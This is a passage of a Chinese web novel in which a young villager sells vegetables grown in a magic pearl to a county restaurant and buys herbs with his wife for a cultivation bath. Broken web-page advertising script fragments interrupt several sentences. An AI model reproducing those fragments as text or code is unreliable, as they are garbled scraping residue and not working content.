菜团子是乡下人常吃的食物,通常外头裹的是杂粮面。若只有菜没有面,说明这家人境况不怎么样,只能用菜叶子果腹;若裹了精细白面,那就是拿来待客,也不算失礼。毕竟一斤精面粉要八、九文钱,寻常人家可舍不得常吃。 梁青河拗不过,只得笑着接过箬叶包,打开一看,见里头是白面裹的菜团子,便知道是特意准备的。而堂弟自来没长这根筋,多半是弟妹的意思。 等他咬了一口,发现面粉不但裹得又厚又匀,里头包的还是豌豆尖,笑容就有点挂不住了。 要是没记错,隆兴酒楼给的契据上,那豌豆尖是三十五文一斤吧? 三十五文的豌豆尖,比猪肉还贵一半,不想着卖钱,却拿来给他吃? 他一个布庄小管事,一个月工钱才一两五钱银子,配得上这么金贵的玩意儿么? 梁青河嘴里吃着,心里疼着,有心要教育堂弟两句,想想是小两口的心意,到底给忍下了。 不过话说回来,这菜团子确实好吃,满口面香,那豌豆尖似乎比往日吃的更加鲜嫩清香,香醋与盐又加得恰到好处,弟妹的手艺实在不错。 这边,梁青山两口一个,很快就吃完了,咂咂嘴,觉得肚子里还有点缝隙,反手从背篓里摸出根黄瓜,在衣袖上擦了擦,张口就要咬下。 忽然眼前一花,黄瓜让人夺走了,大堂哥微瞪着眼看他。 梁青山毫无所觉,“大哥也想吃?我再拿一根。” “住手!把背篓拿来放我这边。”梁青河当机立断,一把拉过背篓,护在自己身前,“二十文一斤的黄瓜,一根就有半斤,你小子也啃得下口。” 梁青山愣愣看着,才反应过来大堂哥的意思,是认为黄瓜太贵他不配? 要知道在混沌珠里,他都是拿黄瓜解渴的,一边干活一边吃,媳妇儿只会叮嘱他别吃坏肚子,大堂哥居然不给吃! 两人互瞪半晌,梁青山到底没敢上手抢,只得蔫蔫靠回去,拿出水囊灌了几口。 他想媳妇儿了,还是媳妇儿对他最好。 抵达安阳县时,天已经亮了,梁青山没来得及细看街上的热闹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,就直接被大堂哥左拐右转,带到隆兴酒楼后巷。 这个点酒楼还未开门迎客,不过伙计们已经开始上工,后厨张管事接待了两人。 检查过梁青山带来的菜,张管事赞不绝口,“这个季节还能种出如此新鲜翠绿的豌豆尖、黄芽菜,比那些专门种暖洞子菜的菜农还好,梁小弟肯定费了不少功夫。这些我们酒楼都要,要是没别的问题,咱们现在就可以把契据签了。” 梁青山与梁青河对视一眼,点了点头。 梁青河笑着道:“这是我亲兄弟,以后他给贵酒楼送货,张大哥可不能欺生呐。” “哪能啊,梁兄弟的弟弟,我照看还来不及,谁敢欺负他?”张管事也笑呵呵道。 双方把契据签了,隆兴酒楼付了五两银子定金,约定梁青山每日给酒楼送三十斤新鲜菜蔬,每旬结一回账。 辞别张管事,梁青河得去布庄上工了,只是想到堂弟那没盘算的性子,还有他怀里那五两银子,心里便非常不放心,可别人没到家,荷包已经空空如也了。 “你跟弟妹两人谁管家?”梁青河问。 梁青山有点疑惑,如实道:“当然是我媳妇儿。” 梁青河听了连连点头,“甚好甚好,方才得的银子,记得带回家给弟妹收着,可别花了。” “那还用说,我头一回见整个的银锭子,不知道媳妇儿见过没有,肯定要拿回去给她瞧瞧。”梁青山高兴地说。 “没错没错。”梁青河十分满意,“我去布庄了,你——” “大哥你吃烧肉饼吗?买两给个给你当午饭吧!我觉得我能吃五个!”梁青山看着前方一个摊位,眼睛闪闪发亮。 梁青河心口一滞,只觉得方才的话都讲给狗听了,胸口几次起伏,到底咽不下这口气,飞起就是一脚,“烧肉饼!我让你吃烧肉饼!还吃五个!叫你别乱花钱!都听到狗肚子里去了!” “哇呀!大哥你怎么打人!”梁青山边跑边喊。 梁青河在后头紧追不舍,打弟弟这种事,从小干熟了的,虽然多年没动手,但手艺一点也没生疏。 只是这弟弟不是小时候的小豆丁了,小兔崽子如今人高马大,跑起来两条长腿倒腾得飞快,他当大哥的居然追不上。 “小崽子你给我站住!”梁青河扶着墙气喘吁吁。 十来步外,梁青山警惕地看着他,“先说你为什么打人!” 梁青河咬着牙问他:“叫你把银子带回家,你听了没!” “我听了啊,”梁青山觉得自己特别无辜,“要带回家给媳妇儿看嘛,出门前媳妇儿另外给了我一百文,让我看看县里有没有什么比镇上便宜的,有就带点回去,我没乱花钱!” “呃……是弟妹的意思?” 梁青河顿了一下,很快收敛表情,清清嗓子,俨然平日里那副心平气和好兄长的模样,“那你尽快买了东西回去吧,别到处闲逛,大哥上工去了。” 看着他走远的背影,梁青山小声嘟囔,“又不是我想闲逛,是谁追了我三条街的?” 他拍拍屁.股上的脚印,想起方才的肉饼,又乐颠颠起来,“既然五个太多,那就买四个好了。” 他两个,给媳妇儿留两个~ 9.第 9 章 009 梁青山从县里回来时,正是午饭时间。 远远看见家里屋顶升起的炊烟,他紧赶一阵,大步跨进院子,“芸香,我回来啦!” 柳芸香闻声从灶房走出,和人在门口撞个正着,见他大冬天里出了满头汗,轻轻摇了摇头,“难不成是一路跑回来的,怎么热成这样?” 边说边掏出手帕替他擦汗。 梁青山美滋滋把头低下来,方便她动作,“锅里在煮什么?别做饭了,我给你带了好吃的,是城里有名的刘记肉饼,好多人排队嘞。” “倒是巧了,”柳芸香笑道,“我方才在里头干活,一时忘了时间,才刚出来,只来得及做了份菜汤,正好拿来配肉饼。” “什么活?怎么不等我一起?”梁青山忙问。 混沌珠是认的柳芸香为主,梁青山虽然也能自行进出,却只有在她身边才能如此,一旦离得远了,就无法进入。 而药仙谷虽说有护山法阵,除了之前逮到的那只野兔,他们确实没遇到别的野物,但他还是不太放心媳妇儿一个人进里头。 柳芸香却知道,混沌珠内,药仙谷以外的地界或许危险,但药仙谷里头的确是安全的,否则那些灵田、竹庐也不能安然无恙存在了那么多年。 晓得梁青山关心则乱,她温言安抚了一会儿,又问:“县里热闹吗?有没有到处走走看看?” “别提了。”梁青山满肚子的话顿时有了倾诉对象,絮絮叨叨抱怨大堂哥追了他好几条街的事。 “害得我在城里绕来绕去,差点找不到回南平镇的马车,好不容易找到,车夫又说马上要回程,只好随便买点东西就走了。” 柳芸香听得发笑,倒不知他们兄弟两人在街上闹了这么一出,说不得在旁人眼中,他俩就是一场热闹了。 梁青山已经把背篓里的东西一一取出,四个油纸包着的肉饼、一条五花肉、一包蜜饯,以及四个铜板。 嘴上说是随便买了点,结果带去的一百文钱,花得只剩四文,要是放开了买,还不知道怎么个花法。 “哦,对了。”他又在怀里掏了掏,掏出个银光锃亮的银锭子,“这是酒楼给的定金,芸香你收着。” 五两重的元宝,拿在手里沉甸甸的,柳芸香接过看了看,小心收进荷包里,抬首笑道:“还不曾过手这许多银子,怪不安心的,总觉得放哪里都不合适,我看还是得收到珠界里头去。” 梁青山听了,扬着眉一脸高兴:“以后还有更多的,咱们家的银钱都让你收着。” 柳芸香抿唇一笑。 两人吃过一顿香喷喷的肉饼午饭,柳芸香收拾了个篮子,里头放着两颗黄芽菜、一把豌豆尖、几根黄瓜,底下还有半条五花肉,往大堂伯家走去。 她本要带上那包蜜饯,梁青山坚决不同意,说那是他问过店里伙计,特意买的姑娘家最喜欢的糖渍梅子,只许给她吃,不许送给别人,惹得柳芸香又是无奈又是好笑。 岭内村地方不大,他们两人住在村西,地方较为偏僻,平日少有人往来,这会儿往村东走,路上便遇上不少村里人。 “青山媳妇儿,这是要去哪儿?”几位妇人在屋檐下晒太阳,见她经过,眼神不住往篮子里瞥。 柳芸香唤了几声婶子,笑道:“青山在山里头种了点菜,叫我送给大伯和伯娘尝尝鲜,婶子们可用过午饭了?” “吃了,这大冷天的,青山在山里头竟也能种成菜,真是个有本事的。” “我方才看见他背着篓子匆匆忙忙往回赶,难不成是到镇上卖菜去了?得卖不少钱吧?” 柳芸香只笑了笑,道:“我们年轻人不懂事,过日子瞎折腾罢了,叫婶子们看笑话。” 寒暄几句,柳芸香挎着篮子离开,身后妇人们看着她的背影窃窃私语。 “她就是梁二柱家的大儿媳?长得这样标志,怎么嫁到咱们这个小地方来了?”一名身着藏蓝袄子的妇人疑惑道。 柳芸香成亲不到两个月,往日除了上山极少出门,村里至今还有人看她面生。 另一位花袄妇人便道:“岂止长得标志,人家还识文断字,她爹是位秀才呢。” 那柳秀才,原先是附近两三个村子唯一的秀才公,连里长都有意与之结亲,想把他家的女儿聘回去做孙媳妇儿。可惜柳秀才去得早,生的儿子又没能耐,结亲一事便不了了之。 藏蓝袄子妇人啧啧称奇,又说:“这么说来,梁二柱的婆娘也算不错了,虽说是当后娘的,却给前头留下的儿子娶了这么好的媳妇儿。” “可没她什么事,”花袄妇人连连摆手,“她才没那份好心,青山都十七八了,也没见家里给他张罗。是青山他奶奶过世前,放心不下这个大孙子,把省吃俭用存下的八两银子放在他大堂伯手里,请他跟周大嫂子费心,这才有后来的事。要靠那亲爹后娘,青山现在还打着光棍呢!” 几位妇人听了,纷纷感叹老人家一片苦心。 另一头,柳芸香到了大堂伯家,周月华听到动静迎出来,连声道:“真实稀客,今天吹的什么风,竟把你吹来了!” “嫂子莫要取笑我,”柳芸香面上带笑,“大伯和伯娘可在家?” “爹和二弟到地里去了,娘在里头,”周月华一边说,一边把人往屋里引,“娘,您看谁来了。” 堂屋里,周氏坐在主位,旁边是她另一位儿媳李梅花,桌上散着针线布料,婆媳三人方才正在做衣裳。 柳芸香进了屋,先给周氏和李梅花问好,才道:“青山种了点菜,迫不及待要给您和大伯献宝,您可别嫌弃。” 周氏年过五十,花白的头发梳得整整齐齐,面相看着有几分严厉,一开口却很慈和,“都是一家子骨肉,说什么见外的话。” 周月华正把篮子里的菜往外拿,不住赞道:“瞧这水灵灵的样子,就是当季种的,也未必能这样好。呦,怎么还有肉?” 柳芸香笑着解释道:“青山从县 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里买了两斤回来,说是比镇上的新鲜,我想既然要趁新鲜吃,放过夜就可惜了,两个人又吃不完那么些,便给大伯和伯娘送一点,咱们也都尝尝鲜。” 周月华看向婆婆,若只有菜,她就能做主收下,到底是自家种的,再稀罕也不必额外花钱,肉就不一样了。 周氏看了一眼,摇摇头:“家里又不少一口吃的,倒是你们小两口日子拮据,这回就算了,往后可不能这样。” “诶。”柳芸香笑盈盈应下。 李梅花忽然开口:“青山那菜卖了多少钱?能买得起两斤肉,至少也得了四五十文吧?” 柳芸香满脸无奈地说:“二嫂可别提了,他今日回来,兜里只剩了四个铜板,大哥说他没个盘算,一点没说错。” 周月华嗔道:“你大哥好意思说青山,他自己可没好到哪里去。” 李梅花听了撇撇嘴:“大哥也真是的,知道县里的菜值钱,怎么不早跟家里人说?青山明天还去吗?不如叫你二哥一块去,多个人多个帮手。” 柳芸香还未开口,周氏发话道:“老二媳妇,你去我屋里把那鞋样子找出来,趁天色还早,今日把他们父子几个的鞋都裁出来,晚了又得点灯熬油。” 李梅花不大乐意,却不敢不听,只得心不甘情不愿去了。 等她离开,周氏对柳芸香道:“你二嫂向来糊涂,她说了什么,都不要放在心上。” 柳芸香笑着说:“二嫂心直口快,我晓得她的心意是好的。” 周月华噗嗤乐道:“你倒会说话,咱们可不知道她的心意到底好不好。” 周氏听了便瞪她一眼,“少在青山媳妇儿面前胡言乱语。” 周月华也不怕,周氏是她婆婆,同时也是她亲姑姑,两人间的婆媳关系,可比李梅花亲近得多。 柳芸香含笑听着,又陪周氏说了会儿话,才起身告辞。 周月华送她出门,到了门口冲里头努努嘴,意有所指,“昨晚你大哥回来一说,就有人心里不痛快了,说什么,有挣钱的买卖不叫上亲兄弟。她也不想想,自己有没有挣这份钱的本事,难不成以为城里人都是傻子,什么烂萝卜秧子老白菜帮子都要?” 他们兄弟妯娌的事,柳芸香不好多说,只歉意道:“是我和青山给大哥大嫂添了麻烦。” “别说这些虚的,”周月华摆了下手,“你们叫我一声嫂子,我就乐意管你们的事,至于其他人,酸死她最好。” 柳芸香不由失笑,方才说二嫂心直口快,其实是场面话,大嫂子这张嘴才是真的有话便说,一点也不藏着掖着。 不过,这份爽利的确令人喜爱。 她正要说话,周月华忽然看着门外的路,露出个揶揄的笑来,“呦,瞧瞧谁来了,怎么,怕我把你媳妇儿卖了?” 柳芸香回过头,见到梁青山站在那傻笑。 耳旁大嫂子仍在啪啪取笑个不停,她有点无奈地想,大嫂子人是极好的,可惜长了张嘴。 10.第 10 章 010 从这日起,梁青山便每天赶早给隆兴酒楼送菜。 这天送完要离开,张管事从后厨追出来,“梁小弟请留步。” 梁青山疑惑地回头,“还有事?” 张管事白胖的脸上堆着笑,“是有一事要与梁小弟商量,你看这每日送来的菜,分量能不能往上加些?若有难处,价格还可再商量。” 双方签订的契据,是每日各类菜蔬总共三十斤,这个数量着实不多,当日张管事也是抱着可有可无的心态,只想着不能让人把菜卖给对手,对于这些菜本身,倒没有多重视。 毕竟对于一间大酒楼而言,三十斤菜,即便是暖洞子菜,也算不得什么。 可谁知这两天,接连有回头客上门,点名就要吃那几样菜,一碟蓑衣黄瓜四十八文,一份豌豆尖打汤六十文,在他们眼中,竟完全算不得什么。 掌柜的特意询问一名老客,据对方说,冬日天寒,富贵人家爱趁这时候进补,吃得多,又鲜少动弹,时日一久便觉得身体沉重,吃什么都没食欲,可酒楼新上的这几道菜,却让人食指大动,胃口全开。 若说味道嘛,也没什么特别的,就是菜蔬原本的味道,只是更新鲜,更清甜,吃惯了大鱼大肉,再来上这么一口,别提多清爽。 虽说以往也吃过暖洞子菜,可或许是节气不对,那些菜口感发软发蔫,失之本味,根本不能和现在这些相提并论。 掌柜的得知后,立刻意识到这些菜的重要性,虽说光靠几样素菜挣不了多少钱,但客人上门,不可能只点那一两道菜,总得配上鸡鸭鱼肉、山珍海味,如此一来,不就有大把银子入账了么? 可惜那菜实在太少,这才有今日这场对话。 梁青山听完,摊了下手,道:“每天就这些,再多也没有了。” 张管事没办法,心说照这样下去,或许过两天就得限定每桌只能点一道菜了,偏偏能吃得起的客人都有来头,到时候掌柜的可有的头疼了。 他倒没想过梁青山撒谎,毕竟谁还能跟钱过不去? 回到家里,梁青山跟柳芸香说起此事。 对于混沌珠里种出的菜,比外头的菜更好吃这件事,柳芸香早有所觉,她还特意感受了一番,并未在那些菜里头发现灵气的存在,也就不太在意。 想来,这些寻常的作物,或许无法吸收灵气,但在充满灵气的环境下生长,对它们还是有好处的。 她很赞同梁青山的做法,“逆节气的菜本就不易得,每日三十斤的产量已不算少,再多就该惹人注意了。” 因梁青山每日往返县城,村里人几乎都知道他卖菜的事,只是不晓得到底挣了多少钱,之前有人刨根问底,柳芸香便笑着说只够买两斤肉钱。 即便如此,这两天往山里走的人,还是眼见着多了起来。 不知道他们是也想在热泉边上种菜,还是想找到梁青山种菜的地方,总之财帛动人心,要是让他们得知,两人如今每天有六七百文收入,恐怕整座山都得被人翻过来。 此时柳芸香和梁青山正在珠界里,给那五百株青竹米授粉。 活儿有点累人,又要动作轻柔,以免不小心拗断了稻杆,又要认真仔细,以确保每个花苞都沾上花粉,动作还得麻利,要赶在短暂的花期结束前完成全部授粉。 干完活,两个人坐在灵田旁气喘吁吁。 梁青山把水囊递给柳芸香,等她喝了几口,接过来咕噜咕噜一口气喝完,发出了感慨:“想当仙人也不容易啊,还得下地干活。” 柳芸香闭着眼,感受细微的风吹在脸上,听见这话笑道:“修道之人有修道之人的法子,是我灵力低微,使不出来罢了。” 说着和他解释了清风决、细雨诀之类的法术,听得梁青山咋舌不已。 呼风唤雨,凝冰引雷,这些修真界随意一位低阶修士就能使出的法术,在常人看来,已称得上仙家手段了。 梁青山一向不爱读书,虽认了些字,竹庐里那些书,从不见他去翻,这会儿倒是拉着柳芸香问东问西。 “芸香,那你什么时候能用这些法诀?” 柳芸香想了想,说:“等这些青竹米成熟,我打算将土属性和金属性的灵植一同种下,凑成五种菁纯灵气,踏入炼气一层,便可以在小范围内使出清风决与细雨诀,至于其他的,还需要更深厚的灵力。” 她已经种下火属性的流焰果,今早种子发芽,吸收了第一缕菁纯火灵气,这会儿丹田内有三道灵力不断盘旋。 火灵气果然不愧其名,在周身经脉窍穴里走过一遍后,她似乎不那么怕冷了,至少今天在外头时,手心一直是暖的。 以往梁青山对自己修炼的事不怎么上心,眼下听说柳芸香不久后将更进一步,危机感终于冒出来了。 媳妇儿一天比一天厉害,他还是个没能耐的凡夫俗子,到时候媳妇儿不会嫌弃他吧? 柳芸香虽不知他的想法,但看他脸上表情一会儿一变,也猜出些许,不由笑道:“过几日隆兴酒楼结算第一旬的菜钱,应该有六七两银子,到时我和你一起进城,多跑几家药店将方子配齐,回来后就准备药浴吧。” 梁青山的功法分成数个阶段,每个阶段又有前中后期,不同时期所用的药浴方子不同。 第一张方子,前后共需泡足九副药,历时三个月。 柳芸香算了算,一副药大约需要三两银子,先买两副回来泡着,剩下的等有钱了再买。 也就是梁青山如今是肉.体凡躯,还未正式踏上体修之道,所以需要的药材,都是些没有灵气的凡药,等入了道,药方上就慢慢改成了灵药,到时候外边买不到,只能在混沌珠里找了。 听媳妇儿把他安排得明明白白的,梁青山连连点头,从地上一跃而起,“我再去给那些菜除除草!” 这些菜如今都是能挣钱的宝贝, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他可得好好伺候它们。 他兴冲冲跑过去,很快又兴高采烈跑回来,“芸香,桃子成熟啦!” 那两株桃树,是梁青山问过柳芸香的喜好,特意从山里挖回来的,就等着结果子给她吃,此刻一见果子成熟,他便赶紧跑来献宝。 桃树有些矮,树身不过半人多高,结的桃子却又大又红。 梁青山攥起拳头比了比,嚯了一声,“比我的拳头还大一圈。” 柳芸香也有点惊讶,看那桃子的品相,玉白色的底,顶上一抹嫣红,还有那股站在几步外,都能闻到的蜜甜的香味,怎么看也不像山上挖来的野果树。 “往年在山上结的果子也有这么大吗?” “哪有,有一半大就不错了,而且颜色很青,不红也不香。”梁青山摇头道。 每株桃树都结了二十多个果子,柳芸香摘了个离自己最近的,双手握住微微用力,薄薄的皮就往两边分开,露出多汁的果肉,轻轻咬下一口,那果肉入了嘴,好似要化成水一半,直往咽喉里滑,留下唇齿间浓郁的余香。 柳芸香细细品味了一番,她原以为这桃树进了珠界,有了脱胎换骨的变化,结出的果子里或许会有些许灵气,然而并没有,尽管桃子滋味好得不似凡果,但确实不曾沾染灵气,与灵果有着本质的区别。 她暗想着,灵植与普通植株间,果真是有天堑之别,只是不知道,若过上百年、千年,这两株桃树,是否会发生真正的蜕变? “好吃吗?”梁青山迫不及待问。 柳芸香笑着点点头,“香甜多汁,是我吃过最好吃的桃子。” 梁青山听了直咧嘴,比自己吃还高兴。 “你怎么不吃?”见他只是看着,柳芸香问。 梁青山摇摇头,“我不爱吃果子。” 比起吃完只能混个水饱的桃子,他还是更喜欢吃肉。 而且他早就数过了,两棵树结了快五十个桃,媳妇儿一天吃一个,等全部吃完,下一季的桃子又成熟了,正好能够衔接上,要是被他吃掉就不够了。 正掰手指头数着天数,眼前忽然出现个剥了皮的大蜜桃,抬眼一瞧,柳芸香笑盈盈看着他,“好歹是你辛苦种的,也该尝一尝味道。” 梁青山晕乎乎接过来,这桃子比他以往吃的更多汁,还没吞进肚子,就全变成水了,并不是他喜欢的那种扎实的口感。 可怎么就这么好吃呢?媳妇儿亲手替他剥的皮,还喂到了他嘴边……那些庸俗的肉怎么能比? 他爱吃桃子。 并不知道某人已经改了喜好,柳芸香这会儿正思索该拿这些桃子怎么办。 若挂在树上,按照珠界里的时光流逝,恐怕今日成熟,明日就该烂了。 摘下来拿到外面也不妥,外头正是天寒地冻的时候,这个时节哪来的桃子?若不小心被人看见,可不好解释。毕竟向来只听过暖洞子菜,还没听过暖洞子树的。 11.第 11 章 011 因想着桃子该如何储存,柳芸香倒是发觉一个问题。 以往药仙谷的传人,若在灵田里有了收获,要收到哪里去? 她暗自猜测,既然竹庐里有存放书册的书架,有存放种子的大柜,是否也有专门的库房,只是没被她找到而已? 带着这个猜想,柳芸香把竹庐里里外外找了一遍,终于发现,那些靠墙大柜子中,有的上头写了灵植名称,里头装着种子,而有的没提字的,里边便空空如也。 “这些空柜子就是库房所在吗?” 她站在一个大柜子前,打开其中一只抽屉查看,那抽屉看着实在不大,也就一寸深三寸长的模样,似乎装不了多少东西。 柳芸香将信将疑地拿了个桃子放进去,桃子足有近一斤重,比成年男子拳头还大些,然而奇异的是,这样大的桃子,放入抽屉中,竟只在角落里占了个小小的位置,若不仔细看,猛一晃眼还以为是颗小沙粒。 她把桃子拿出来,一入手,桃子分明是正常大小,再放进去,又成了小小的沙粒,十分神奇。 “我来试试我来试试!”梁青山看得两眼放光。 柳芸香笑着让开些,在旁边看着他拿进又拿出,拿进又拿出,玩得不亦乐乎。 显然,竹庐里这些柜子都不寻常,里头不知用了多少仙家手段,像那些灵植的种子,放了无数年,依旧没有霉坏,像这些抽屉,明明只有小小一个,却有海纳百川之能。 既然有地方可以存放,两人便把树上的桃子都摘了下来。 四五十个桃子,装了满满一大筐,然而放在那屉子里,只占了个小角落。 柳芸香仰头看着这望不到顶的大柜子,上头起码有上千个抽屉,能装下多少东西?无法想象。 过了两日,她特意打开柜子查看,见桃子还是如刚摘下来那般新鲜,一点儿也没有腐烂的迹象,就彻底放心了。 这天是卖菜满一旬的日子,柳芸香与梁青山一块进城。 鸡刚啼过三声,两人就都起了,披星戴月赶到县里,将今日的菜交付,又结算了这一旬的菜钱。 总共是七两三钱银子,之前的五两定金也算在里头。 出了酒楼后巷,便是热闹喧嚣的大街,梁青山摸摸肚子,兴致勃勃道:“先去吃早饭吧,我听别人说有家面摊的卤肉特别好吃!” 他瞄上那家面摊好几天了,但之前只有自己一人进城,总不能背着媳妇儿吃好吃的,只好一直忍着。 柳芸香看着他脸上的馋相,暗自摇头发笑,难怪昨晚不让她提前准备今日的早饭,原来在这儿等着呢。 也是难为他,明明荷包里有钱,嘴上也馋,却还要忍住不吃。除了头一天进城买了些东西,之后除了每日车费,他就再没花过钱了。 面摊在两条街外的一条巷子口,摊位不大,一口煮面的大锅水汽蒸腾,边上的卤锅香味扑鼻。 两人找了个空位坐下,一名小姑娘迎上来,口齿伶俐道:“哥哥姐姐吃什么?我家有好吃的羊汤面,素面小份四文,大份六文,还有大块的卤肉,只需六文,卤豆腐和卤鸡蛋都是两文,卤羊杂一碗八文。” 梁青山眼巴巴盯着柳芸香,他家媳妇儿管家,吃什么也是媳妇儿说了算。 他起早贪黑忙了这些日子,今天又刚结了账,柳芸香自然不会舍不得一顿好的,便道:“先来一大一小两碗面,卤肉、豆腐、鸡蛋各两份,羊杂一碗。” 她这头说着,那头梁青山的眼睛就亮了起来。 那小姑娘也是听得两眼发亮,原本见两位客人衣着朴素,还以为至多能卖两碗素面,谁知是位财主,她顿时响亮地应了一声,“好嘞!您稍等。” 热腾腾的面很快端上来,浓白的羊汤打底,细白的面上撒着葱花,巴掌大的卤肉、卤豆腐,以及切成两半的卤鸡蛋,将面碗铺得满满当当,光卖相已令人垂涎三尺,更不提面条细滑有嚼劲,卤味浓香醇厚,的确不负其名。 柳芸香吃完自己碗里的便饱了,羊杂只吃了两口,剩下的都被梁青山包圆,连汤都喝了干净。 一顿早饭花了将近四十文,普通人一天的工钱都未必有这么多。 结完账,梁青山笑嘻嘻地说:“幸好大哥不在,不然又要追着我打。” 柳芸香嗔他一眼,心说他挨的那些打,恐怕没有一顿是白得的。 不过既然提起梁青河,她便问道:“大哥也在县里,我们要不要去见见?” 梁青山摆了摆手,“大哥虽然在布庄做事,却是库房里的,不会到前面来,咱们去了也见不到。” 柳芸香听了点点头。 梁青山又道:“其实大哥以前也是在前边做事的,后来得罪了一个老管事,就被挤到后面去了。” 柳芸香有些惊讶,虽没见过几次面,但观大堂哥行事,显然十分稳重,怎会轻易得罪人? “还不是那老头,见大哥年纪轻轻,又挺有本事,就想招他做女婿,可大哥跟大嫂是表兄妹,从小定了亲,当然不同意。那会儿大哥还只是个伙计,就被排挤了。虽说那老头后来退下去,可他儿子又顶了上来,大哥在布庄没根基,斗不过他们,只能一直待在库房里。” “原来如此。”柳芸香若有所思。 两人边走边说,不多时来到县里最大的药房保和堂。 柳芸香今日进城,主要是为了采买梁青山药浴所需的药材,担心药浴方子被人看出端倪,她早已背了下来,并且打算多跑几家店,将方子上的药分开买。 进了药房,她对柜台内的伙计道:“劳驾,请替我包三两十年份的野山参。” 伙计上下打量二人几眼,略有些诧异,好意提醒道:“十年份野山参一斤要八两银 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,若是入药进补,用不了三两,几钱便够了。” 人参的价钱,由年份、品相决定,年份越长价钱越高,那七八十年、上百年的,几乎是一个年份一个价,且市面上十分少见,都被富贵人家买走珍藏了。 年份不足的人参,才会称斤论两卖,且有上等参、一般参、毛参等区别,十年份的人参,便在一般参之列。 即便如此,对于寻常人家来说,八两银子一斤的人参,依旧令人望而却步,通常只有家中有人病重,或者老人年纪大了,才会咬咬牙买几钱人参入药。 伙计见两人衣着并不富裕,才出言提醒了一句。 柳芸香也知道她买的有点多,三两重的人参,给一头牛吃都嫌太补了些,但用来泡药浴,而不是入口,情况便不一样。 她笑道:“多谢小哥提点,不过我们买参是为了送人,并非自用。” 伙计点了点头,不再多言,用戥子称了三两参。 柳芸香见那参品相不错,又让包了龟板和灵芝,总共花了五两二钱银子。 等两人离开,伙计不由感叹,“果真是包子有肉不在褶上。” 谁能想到这样一对穿着半旧布袄的小夫妻,一看便是乡下来的,竟出手就是五两银子,多少城里殷实人家都没这么舍得。 他却不知道,买了这些药,柳芸香和梁青山的荷包就瘪了大半。 好在方子里最贵重的药材就这几样,其他的都不怎么值钱,两人跑了两三家药房,又花了一两多银子便买齐了。 这些药是两副的分量,算下来一副药三两三钱左右,与柳芸香预估的差不多。 买完所有的药,梁青山长长出了口气,“幸好幸好,还剩了一点儿钱。” 早上酒楼结了七两三钱银子,这会儿已剩不到一两,方才见媳妇儿付钱时那眼也不眨的模样,他感觉自己有点理解大哥的心情了,那真是心肝颤,生怕钱不够,媳妇儿要把他押那儿抵债。 柳芸香却笑道:“还早着呢,你想想,这药买回去了得上火煎,煎完又得有地方给你泡才行,所以至少还要买炉子、药罐、以及大浴桶。” 梁青山听得满脸呆滞,抹了把脸,小心翼翼地问:“咱们的钱还够吗?” 见他如此模样,柳芸香有了开玩笑的心思,“若是不够,咱们两个只能一路走回去,省点车费了。” “那不会的。”梁青山连连摇头,要是钱不够,他就是冒着被大堂哥千里追杀的风险,也得去找他借车费,不能让媳妇儿受罪。 好在令他担心的事最终并未发生,药炉药罐并浴桶总共花了六钱银子,还给他们留了几十个铜板。 把买来的东西都放在大木桶里,由梁青山扛在肩上,两人一路出了城,走到郊外僻静无人处,将木桶收进混沌珠里,而后又绕了个大圈子,回到另一处城门,乘车回了南平镇。 12.第 12 章 012 为了避免被人闻到药味,柳芸香与梁青山选择在混沌珠界里煎熬药材。 按照方子上记录的手法,将药材逐一炮制,撇除药渣后,得到一罐深色药液。 奇的是,这制成的药,并没有寻常药汤苦涩的气味,反而带着股草木香气。 梁青山看着旁边那堆药渣,有点肉疼,“熬一次就不要了吗?” 一副药三两多银子嘞,不多煎两回好像有点太亏了。 柳芸香摇了摇头,普通人家从药房抓来药,为了省钱,多有煎第二回三回的,可药浴方子上的手法,与平日里熬药的方法不大一样。 药材放入的顺序有讲究,放入的时机也各不相同,有些药在熬制前,需先隔火烤制,烤出香味后才能入药罐,有些则需要磨成细粉,还有的药材不能直接熬,而是用泡出来的水入药,种种手段不一而足。 如今这些熬过药渣都已混成一堆,自然没办法再煎一次。 梁青山叹了口气,第一百回感慨自己这身肉实在太费钱了。 柳芸香笑道:“别长吁短叹了,快把药汤倒进浴桶里,若耽搁太久失了药性,岂不是白花了那些银子?” 大浴桶放在竹庐廊下,已经盛满了大半桶水,倒入药液后,清澈的水变为半透明的褐色。 梁青山深吸口气,动手脱身上的衣服,脱得只剩里衣的时候,忽然想起来什么。 那个那个……他是不介意在大白天脱个精光的,但是媳妇儿在旁边看着呢,不能耍流.氓对吧? 柳芸香早已转开头去,背对着他递过来一根芦苇杆,道:“全身上下都要浸在药液里,你把这芦苇杆含在口中呼气,时候到了我叫你。” 梁青山应下,飞快把自己扒光,跳进浴桶里,整个人埋下去。 等身后动静完全平息,柳芸香转过身,把散落在地的衣服捡起,经过浴桶边的时候,飞快瞥了一眼,水下影影绰绰一道人影,看着并无不妥,才放下心来。 她坐在浴桶边上,一边留意着时辰,一边翻看《至阳图谱》。 这本炼体典籍,里头除了功法,还包含了配套的药浴方子、适合体修食用的灵食灵酒丹药等,内容丰富,涉猎广泛,她虽不炼此功,只看一看也觉得颇长见识。 既然以图谱为名,功法中文字记载的部分便只有寥寥数语,多是一副又一副图画,图画里的小人做出各种炼体姿势,配以吐纳之法。 这倒是合乎梁青山的喜好,柳芸香心道,他是最不喜爱读书看字的。 翻阅几页书,眼看时候到了,她屈指在木桶外壁上扣了三声。 下一瞬,梁青山破水而出,趴在桶沿上喘着粗气,脸上不住往下滴水。 柳芸香以为是药液,很快发现那是大滴大滴的汗水,又见他面色通红,牙关紧咬,仿佛正极力忍耐着什么,顾不得不自在,忙拿了干净的布巾披在他身上,“怎么样,可有哪里不舒服?” 梁青山艰难地摇摇头,缓了一会儿,才从浴桶里爬出来,瘫坐在地上,长长吁了口气。 “差点痒死我。”他开口第一句便道。 柳芸香微微皱眉,关切地看着他。炼体之道不好走,她从一开始就知道,连《药谷琐事》中都特意提醒,此道酷烈无比,非常人能忍受。但到底怎么个酷烈法,却并未提及。 